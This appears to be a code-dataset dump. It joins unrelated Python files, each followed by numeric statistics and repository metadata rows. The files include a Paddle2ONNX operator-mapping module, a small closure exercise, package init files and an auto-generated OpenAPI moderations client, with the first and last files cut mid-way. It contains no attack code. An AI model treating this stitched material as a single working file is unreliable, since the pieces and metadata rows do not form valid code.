_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf']['meta_info']
_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf.Ignore']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf']['meta_info']
_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf.DistributeListOut']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf']['meta_info']
_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf.DistributeList']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf']['meta_info']
_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf']['meta_info']
_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf.Bfd']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf']['meta_info']
_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf.DatabaseFilter']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf']['meta_info']
_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf.Authentication']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf']['meta_info']
_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf.GracefulRestart']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf']['meta_info']
_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf.DefaultInformation']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf']['meta_info']
_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf']['meta_info']
_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf.Encryption']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf']['meta_info']
_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf.AutoCost']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf']['meta_info']
_meta_table['Ospfv3.Processes.Process.Vrfs.Vrf']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.Vrfs']['meta_info']
_meta_table['Ospfv3.Processes.Process.TraceBufs.TraceBuf']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process.TraceBufs']['meta_info']
_meta_table['Ospfv3.Processes.Process.DefaultVrf']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process']['meta_info']
_meta_table['Ospfv3.Processes.Process.Vrfs']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process']['meta_info']
_meta_table['Ospfv3.Processes.Process.Af']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process']['meta_info']
_meta_table['Ospfv3.Processes.Process.TraceBufs']['meta_info'].parent =_meta_table['Ospfv3.Processes.Process']['meta_info']
_meta_table['Ospfv3.Processes.Process']['meta_info'].parent =_meta_table['Ospfv3.Processes']['meta_info']
_meta_table['Ospfv3.Processes']['meta_info'].parent =_meta_table['Ospfv3']['meta_info']
| 57.832918
| 332
| 0.564018
| 64,676
| 696,077
| 5.862499
| 0.008628
| 0.078446
| 0.098058
| 0.104973
| 0.992325
| 0.991758
| 0.991247
| 0.988604
| 0.982997
| 0.973049
| 0
| 0.025713
| 0.295305
| 696,077
| 12,035
| 333
| 57.837723
| 0.747265
| 0
| 0
| 0.669052
| 0
| 0.034354
| 0.525757
| 0.438731
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.012215
| 0.000763
| 0
| 0.000763
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7db482defc74bdaf8661c1a4d1c19bb4571822a8
| 10,462
|
py
|
Python
|
paddle2onnx/op_mapper/logic.py
|
yeliang2258/Paddle2ONNX
|
5eeef77f2f90d1e2a45dacf6eb1cc5f35f6224a4
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
paddle2onnx/op_mapper/logic.py
|
yeliang2258/Paddle2ONNX
|
5eeef77f2f90d1e2a45dacf6eb1cc5f35f6224a4
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
paddle2onnx/op_mapper/logic.py
|
yeliang2258/Paddle2ONNX
|
5eeef77f2f90d1e2a45dacf6eb1cc5f35f6224a4
|
[
"ECL-2.0",
"Apache-2.0"
] | 1
|
2022-01-29T04:35:49.000Z
|
2022-01-29T04:35:49.000Z
|
# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import absolute_import
import numpy as np
from paddle2onnx.constant import dtypes
from paddle2onnx.op_mapper import OpMapper as op_mapper
import paddle
from paddle2onnx.utils import logging
@op_mapper('greater_equal')
class GreaterOrEqual():
support_opset_version_range = (12, 15)
@classmethod
def opset_12(cls, graph, node, **kw):
onnx_node = graph.make_node(
'GreaterOrEqual',
inputs=[node.input('X', 0), node.input('Y', 0)],
outputs=node.output('Out'))
@op_mapper('equal')
class Equal():
support_opset_version_range = (7, 15)
@classmethod
def opset_7(cls, graph, node, **kw):
if node.input_dtype('X', 0) in [paddle.float32, paddle.float64]:
warning_info = "Operator 'Equal' only support input with dtype of int/bool, now the dtype of input is {}, this may cause wrong results, it is more recommend converting this model with opset version >= 11.".format(
node.input_dtype('X', 0))
logging.warning(warning_info)
x_node = graph.make_node(
'Cast', inputs=node.input('X'), to=dtypes.ONNX.INT32)
y_node = graph.make_node(
'Cast', inputs=node.input('Y'), to=dtypes.ONNX.INT32)
onnx_node = graph.make_node(
'Equal', inputs=[x_node, y_node], outputs=node.output('Out'))
else:
onnx_node = graph.make_node(
'Equal',
inputs=[node.input('X', 0), node.input('Y', 0)],
outputs=node.output('Out'))
@classmethod
def opset_11(cls, graph, node, **kw):
onnx_node = graph.make_node(
'Equal',
inputs=[node.input('X', 0), node.input('Y', 0)],
outputs=node.output('Out'))
@op_mapper('not_equal')
class NotEqual():
support_opset_version_range = (7, 15)
@classmethod
def opset_7(cls, graph, node, **kw):
equal_val = None
if node.input_dtype('X', 0) in [paddle.float32, paddle.float64]:
warning_info = "Operator 'not_equal' only support input with dtype of int/bool, now the dtype of input is {}, this may cause wrong results, it is more recommend converting this model with opset version >= 11.".format(
node.input_dtype('X', 0))
logging.warning(warning_info)
x_node = graph.make_node(
'Cast', inputs=node.input('X'), to=dtypes.ONNX.INT32)
y_node = graph.make_node(
'Cast', inputs=node.input('Y'), to=dtypes.ONNX.INT32)
equal_val = graph.make_node(
'Equal', inputs=[x_node, y_node], outputs=node.output('Out'))
else:
equal_val = graph.make_node(
'Equal',
inputs=[node.input('X', 0), node.input('Y', 0)],
outputs=node.output('Out'))
k_node = graph.make_node(
'Cast', inputs=[equal_val], to=dtypes.ONNX.INT64)
const = graph.make_node('Constant', dtype=dtypes.ONNX.INT64, value=1)
sub_ = graph.make_node('Sub', inputs=[const, k_node])
graph.make_node(
'Cast',
inputs=[sub_],
outputs=node.output('Out'),
to=dtypes.ONNX.BOOL)
@classmethod
def opset_11(cls, graph, node, **kw):
equal_val = graph.make_node(
'Equal', inputs=[node.input('X', 0), node.input('Y', 0)])
k_node = graph.make_node(
'Cast', inputs=[equal_val], to=dtypes.ONNX.INT64)
const = graph.make_node('Constant', dtype=dtypes.ONNX.INT64, value=1)
sub_ = graph.make_node('Sub', inputs=[const, k_node])
graph.make_node(
'Cast',
inputs=[sub_],
outputs=node.output('Out'),
to=dtypes.ONNX.BOOL)
@op_mapper('greater_than')
class GreaterThan():
support_opset_version_range = (7, 15)
@classmethod
def opset_7(cls, graph, node, **kw):
if node.input_dtype('X', 0) in [paddle.int32, paddle.int64]:
warning_info = "Operator 'greater_than' only support input with dtype of float/double, now the dtype of input is {}, this may cause wrong results, it is more recommend converting this model with opset version >= 11.".format(
node.input_dtype('X', 0))
logging.warning(warning_info)
x_node = graph.make_node(
'Cast', inputs=node.input('X'), to=dtypes.ONNX.INT32)
y_node = graph.make_node(
'Cast', inputs=node.input('Y'), to=dtypes.ONNX.INT32)
graph.make_node(
'Greater',
inputs=[node.input('X', 0), node.input('Y', 0)],
outputs=node.output('Out'))
else:
graph.make_node(
'Greater',
inputs=[node.input('X', 0), node.input('Y', 0)],
outputs=node.output('Out'))
@classmethod
def opset_11(cls, graph, node, **kw):
onnx_node = graph.make_node(
'Greater',
inputs=[node.input('X', 0), node.input('Y', 0)],
outputs=node.output('Out'))
@op_mapper('logical_and')
class LogicalAnd():
support_opset_version_range = (1, 15)
@classmethod
def opset_1(cls, graph, node, **kw):
onnx_node = graph.make_node(
'And',
inputs=[node.input('X', 0), node.input('Y', 0)],
outputs=node.output('Out'))
@op_mapper('logical_not')
class LogicalNot():
support_opset_version_range = (1, 15)
@classmethod
def opset_1(cls, graph, node, **kw):
graph.make_node(
'Not', inputs=node.input('X'), outputs=node.output('Out'))
@op_mapper('logical_or')
class LogicalOr():
support_opset_version_range = (7, 15)
@classmethod
def opset_7(cls, graph, node, **kw):
graph.make_node(
'Or',
inputs=[node.input('X', 0), node.input('Y', 0)],
outputs=node.output('Out'))
@op_mapper('logical_xor')
class LogicalXOr():
support_opset_version_range = (7, 15)
@classmethod
def opset_7(cls, graph, node, **kw):
graph.make_node(
'Xor',
inputs=[node.input('X', 0), node.input('Y', 0)],
outputs=node.output('Out'))
@op_mapper('less_equal')
class LessOrEqual():
support_opset_version_range = (12, 15)
@classmethod
def opset_12(cls, graph, node, **kw):
onnx_node = graph.make_node(
'LessOrEqual',
inputs=[node.input('X', 0), node.input('Y', 0)],
outputs=node.output('Out'))
@op_mapper('less_than')
class Less_than():
support_opset_version_range = (7, 15)
@classmethod
def opset_7(cls, graph, node, **kw):
if node.input_dtype('X', 0) in [paddle.int32, paddle.int64]:
warning_info = "Operator 'less_than' only support input with dtype of float/double, now the dtype of input is {}, this may cause wrong results, it is more recommend converting this model with opset version >= 11.".format(
node.input_dtype('X', 0))
logging.warning(warning_info)
x_node = graph.make_node(
'Cast', inputs=node.input('X'), to=dtypes.ONNX.INT32)
y_node = graph.make_node(
'Cast', inputs=node.input('Y'), to=dtypes.ONNX.INT32)
graph.make_node(
'Less',
inputs=[node.input('X', 0), node.input('Y', 0)],
outputs=node.output('Out'))
else:
graph.make_node(
'Less',
inputs=[node.input('X', 0), node.input('Y', 0)],
outputs=node.output('Out'))
@classmethod
def opset_9(cls, graph, node, **kw):
graph.make_node(
'Less',
inputs=[node.input('X', 0), node.input('Y', 0)],
outputs=node.output('Out'), )
@op_mapper('isfinite_v2')
class Isfinite():
support_opset_version_range = (10, 15)
@classmethod
def opset_10(cls, graph, node, **kw):
is_inf = graph.make_node('IsInf', inputs=node.input('X', 0))
is_nan = graph.make_node('IsNaN', inputs=node.input('X', 0))
finite = graph.make_node('Or', inputs=[is_inf, is_nan])
graph.make_node('Not', inputs=[finite], outputs=node.output('Out'))
@op_mapper('isinf_v2')
class IsInf():
support_opset_version_range = (10, 15)
@classmethod
def opset_10(cls, graph, node, **kw):
graph.make_node(
'IsInf', inputs=node.input('X'), outputs=node.output('Out'))
@op_mapper('isnan_v2')
class IsNaN():
support_opset_version_range = (9, 15)
@classmethod
def opset_9(cls, graph, node, **kw):
graph.make_node(
'IsNaN', inputs=node.input('X'), outputs=node.output('Out'))
@op_mapper('isnan')
class IsNaN():
support_opset_version_range = (9, 15)
@classmethod
def opset_9(cls, graph, node, **kw):
isnan = graph.make_node('IsNaN', inputs=node.input('X'))
cast_node = graph.make_node(
'Cast', inputs=isnan, attrs={'to': dtypes.ONNX.FLOAT})
reduce_node = graph.make_node(
'ReduceMax', inputs=[cast_node], keepdims=False)
graph.make_node(
'Unsqueeze',
inputs=[reduce_node],
outputs=node.output('Out'),
axes=[0])
@classmethod
def opset_13(cls, graph, node, **kw):
isnan = graph.make_node('IsNaN', inputs=node.input('X'))
cast_node = graph.make_node(
'Cast', inputs=isnan, attrs={'to': dtypes.ONNX.FLOAT})
reduce_node = graph.make_node(
'ReduceMax', inputs=[cast_node], keepdims=False)
axis = graph.make_node('Constant', dtype=dtypes.ONNX.INT64, value=[0])
graph.make_node(
'Unsqueeze', inputs=[reduce_node, axis], outputs=node.output('Out'))
| 35.464407
| 236
| 0.589371
| 1,356
| 10,462
| 4.393805
| 0.125369
| 0.08006
| 0.106915
| 0.069822
| 0.82813
| 0.814703
| 0.808661
| 0.789862
| 0.768714
| 0.757469
| 0
| 0.02358
| 0.266297
| 10,462
| 294
| 237
| 35.585034
| 0.752606
| 0.055725
| 0
| 0.753247
| 0
| 0.017316
| 0.131096
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.082251
| false
| 0
| 0.025974
| 0
| 0.229437
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8189941e0cad18ec60ff18937ac54d2e8e02de41
| 66
|
py
|
Python
|
libs/models/__init__.py
|
reyuwei/deeplab-pytorch
|
f4e241c83be5f85f0f2e1be5d76160b8c2d7ec9a
|
[
"MIT"
] | null | null | null |
libs/models/__init__.py
|
reyuwei/deeplab-pytorch
|
f4e241c83be5f85f0f2e1be5d76160b8c2d7ec9a
|
[
"MIT"
] | null | null | null |
libs/models/__init__.py
|
reyuwei/deeplab-pytorch
|
f4e241c83be5f85f0f2e1be5d76160b8c2d7ec9a
|
[
"MIT"
] | null | null | null |
from libs.models.resnet import *
from libs.models.deeplab import *
| 33
| 33
| 0.80303
| 10
| 66
| 5.3
| 0.6
| 0.301887
| 0.528302
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.106061
| 66
| 2
| 33
| 33
| 0.898305
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
81a5aa572f581d98e4b414682df0dfb50eed2eb2
| 634
|
py
|
Python
|
may12.py
|
wconrad9/DailyProgramming
|
5c41f089fbfea56cd7c22546ad12f4ecd63bec6c
|
[
"MIT"
] | null | null | null |
may12.py
|
wconrad9/DailyProgramming
|
5c41f089fbfea56cd7c22546ad12f4ecd63bec6c
|
[
"MIT"
] | null | null | null |
may12.py
|
wconrad9/DailyProgramming
|
5c41f089fbfea56cd7c22546ad12f4ecd63bec6c
|
[
"MIT"
] | null | null | null |
def cons(a, b):
def pair(f):
return f(a, b)
return pair
def car(pair):
"""return the first element of a pair"""
def createArray(a,b):
array = []
array.append(a)
array.append(b)
return array
#perform closure
array = pair(createArray)
return array[0]
def cdr(pair):
"""return the first element of a pair"""
def createArray(a,b):
array = []
array.append(a)
array.append(b)
return array
#perform closure
array = pair(createArray)
return array[1]
print(car(cons(3,4)))
print(cdr(cons(3,4)))
| 16.25641
| 44
| 0.542587
| 85
| 634
| 4.047059
| 0.270588
| 0.023256
| 0.075581
| 0.104651
| 0.773256
| 0.773256
| 0.773256
| 0.773256
| 0.773256
| 0.773256
| 0
| 0.014151
| 0.33123
| 634
| 38
| 45
| 16.684211
| 0.79717
| 0.157729
| 0
| 0.545455
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.272727
| false
| 0
| 0
| 0.045455
| 0.545455
| 0.090909
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
81b781dbfcb5302e0e11999e6406ef53794c9c8f
| 94
|
py
|
Python
|
lithops/job/__init__.py
|
Dahk/pywren-ibm-cloud
|
560a587e35dfe8f6dff4b85cc4bc722ec5f7fd9d
|
[
"Apache-2.0"
] | 1
|
2020-06-21T20:10:32.000Z
|
2020-06-21T20:10:32.000Z
|
lithops/job/__init__.py
|
Dahk/pywren-ibm-cloud
|
560a587e35dfe8f6dff4b85cc4bc722ec5f7fd9d
|
[
"Apache-2.0"
] | null | null | null |
lithops/job/__init__.py
|
Dahk/pywren-ibm-cloud
|
560a587e35dfe8f6dff4b85cc4bc722ec5f7fd9d
|
[
"Apache-2.0"
] | null | null | null |
from .job import create_map_job
from .job import create_reduce_job
from .job import clean_job
| 23.5
| 34
| 0.840426
| 17
| 94
| 4.352941
| 0.411765
| 0.283784
| 0.527027
| 0.513514
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.12766
| 94
| 3
| 35
| 31.333333
| 0.902439
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
f2010c714ec555e317e8aa2cabc287b5be8c25f2
| 33,542
|
py
|
Python
|
openapi_client/api/moderations_api.py
|
osuka/dognews-scraper
|
12373064061157083a48ced8e2cabf9d1ace30a5
|
[
"MIT"
] | 1
|
2019-11-15T13:19:36.000Z
|
2019-11-15T13:19:36.000Z
|
openapi_client/api/moderations_api.py
|
osuka/news-extractor
|
12373064061157083a48ced8e2cabf9d1ace30a5
|
[
"MIT"
] | null | null | null |
openapi_client/api/moderations_api.py
|
osuka/news-extractor
|
12373064061157083a48ced8e2cabf9d1ace30a5
|
[
"MIT"
] | null | null | null |
"""
Dognews Server API
Dognews Server client API # noqa: E501
The version of the OpenAPI document: 1.0.0
Generated by: https://openapi-generator.tech
"""
import re # noqa: F401
import sys # noqa: F401
from openapi_client.api_client import ApiClient, Endpoint as _Endpoint
from openapi_client.model_utils import ( # noqa: F401
check_allowed_values,
check_validations,
date,
datetime,
file_type,
none_type,
validate_and_convert_types
)
from openapi_client.model.moderation import Moderation
from openapi_client.model.paginated_moderation_list import PaginatedModerationList
from openapi_client.model.patched_moderation import PatchedModeration
class ModerationsApi(object):
"""NOTE: This class is auto generated by OpenAPI Generator
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def __moderations_create(
self,
**kwargs
):
"""moderations_create # noqa: E501
Moderation attached to a submission **Permission restrictions:** + `IsAuthenticated`: *Rejects all operations if the user is not authenticated* + `IsOwnerOrStaff`: *Blocks update/partial_updated/destroy if: * the user is NOT in the staff group * AND if the model has a property called 'owner' and its value differs from the request user Everything else is allowed* + `DjangoModelPermissions`: *The request is authenticated using `django.contrib.auth` permissions. See: https://docs.djangoproject.com/en/dev/topics/auth/#permissions It ensures that the user is authenticated, and has the appropriate `add`/`change`/`delete` permissions on the model. This permission can only be applied against view classes that provide a `.queryset` attribute.* # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.moderations_create(async_req=True)
>>> result = thread.get()
Keyword Args:
moderation (Moderation): [optional]
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
Moderation
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
return self.call_with_http_info(**kwargs)
self.moderations_create = _Endpoint(
settings={
'response_type': (Moderation,),
'auth': [
'basicAuth',
'cookieAuth',
'jwtAuth',
'tokenAuth'
],
'endpoint_path': '/moderations',
'operation_id': 'moderations_create',
'http_method': 'POST',
'servers': None,
},
params_map={
'all': [
'moderation',
],
'required': [],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'moderation':
(Moderation,),
},
'attribute_map': {
},
'location_map': {
'moderation': 'body',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [
'application/json',
'application/x-www-form-urlencoded',
'multipart/form-data'
]
},
api_client=api_client,
callable=__moderations_create
)
def __moderations_destroy(
self,
submission,
**kwargs
):
"""moderations_destroy # noqa: E501
Moderation attached to a submission **Permission restrictions:** + `IsAuthenticated`: *Rejects all operations if the user is not authenticated* + `IsOwnerOrStaff`: *Blocks update/partial_updated/destroy if: * the user is NOT in the staff group * AND if the model has a property called 'owner' and its value differs from the request user Everything else is allowed* + `DjangoModelPermissions`: *The request is authenticated using `django.contrib.auth` permissions. See: https://docs.djangoproject.com/en/dev/topics/auth/#permissions It ensures that the user is authenticated, and has the appropriate `add`/`change`/`delete` permissions on the model. This permission can only be applied against view classes that provide a `.queryset` attribute.* # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.moderations_destroy(submission, async_req=True)
>>> result = thread.get()
Args:
submission (int): A unique value identifying this moderation.
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
None
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['submission'] = \
submission
return self.call_with_http_info(**kwargs)
self.moderations_destroy = _Endpoint(
settings={
'response_type': None,
'auth': [
'basicAuth',
'cookieAuth',
'jwtAuth',
'tokenAuth'
],
'endpoint_path': '/moderations/{submission}',
'operation_id': 'moderations_destroy',
'http_method': 'DELETE',
'servers': None,
},
params_map={
'all': [
'submission',
],
'required': [
'submission',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'submission':
(int,),
},
'attribute_map': {
'submission': 'submission',
},
'location_map': {
'submission': 'path',
},
'collection_format_map': {
}
},
headers_map={
'accept': [],
'content_type': [],
},
api_client=api_client,
callable=__moderations_destroy
)
def __moderations_list(
self,
**kwargs
):
"""moderations_list # noqa: E501
Moderation attached to a submission **Permission restrictions:** + `IsAuthenticated`: *Rejects all operations if the user is not authenticated* + `IsOwnerOrStaff`: *Blocks update/partial_updated/destroy if: * the user is NOT in the staff group * AND if the model has a property called 'owner' and its value differs from the request user Everything else is allowed* + `DjangoModelPermissions`: *The request is authenticated using `django.contrib.auth` permissions. See: https://docs.djangoproject.com/en/dev/topics/auth/#permissions It ensures that the user is authenticated, and has the appropriate `add`/`change`/`delete` permissions on the model. This permission can only be applied against view classes that provide a `.queryset` attribute.* # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.moderations_list(async_req=True)
>>> result = thread.get()
Keyword Args:
limit (int): Number of results to return per page.. [optional]
offset (int): The initial index from which to return the results.. [optional]
ordering (str): Which field to use when ordering the results.. [optional]
status (str): [optional]
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
PaginatedModerationList
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
return self.call_with_http_info(**kwargs)
self.moderations_list = _Endpoint(
settings={
'response_type': (PaginatedModerationList,),
'auth': [
'basicAuth',
'cookieAuth',
'jwtAuth',
'tokenAuth'
],
'endpoint_path': '/moderations',
'operation_id': 'moderations_list',
'http_method': 'GET',
'servers': None,
},
params_map={
'all': [
'limit',
'offset',
'ordering',
'status',
],
'required': [],
'nullable': [
],
'enum': [
'status',
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
('status',): {
"ACCEPTED": "accepted",
"PENDING": "pending",
"REJECTED": "rejected"
},
},
'openapi_types': {
'limit':
(int,),
'offset':
(int,),
'ordering':
(str,),
'status':
(str,),
},
'attribute_map': {
'limit': 'limit',
'offset': 'offset',
'ordering': 'ordering',
'status': 'status',
},
'location_map': {
'limit': 'query',
'offset': 'query',
'ordering': 'query',
'status': 'query',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client,
callable=__moderations_list
)
def __moderations_partial_update(
self,
submission,
**kwargs
):
"""moderations_partial_update # noqa: E501
Moderation attached to a submission **Permission restrictions:** + `IsAuthenticated`: *Rejects all operations if the user is not authenticated* + `IsOwnerOrStaff`: *Blocks update/partial_updated/destroy if: * the user is NOT in the staff group * AND if the model has a property called 'owner' and its value differs from the request user Everything else is allowed* + `DjangoModelPermissions`: *The request is authenticated using `django.contrib.auth` permissions. See: https://docs.djangoproject.com/en/dev/topics/auth/#permissions It ensures that the user is authenticated, and has the appropriate `add`/`change`/`delete` permissions on the model. This permission can only be applied against view classes that provide a `.queryset` attribute.* # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.moderations_partial_update(submission, async_req=True)
>>> result = thread.get()
Args:
submission (int): A unique value identifying this moderation.
Keyword Args:
patched_moderation (PatchedModeration): [optional]
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
Moderation
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
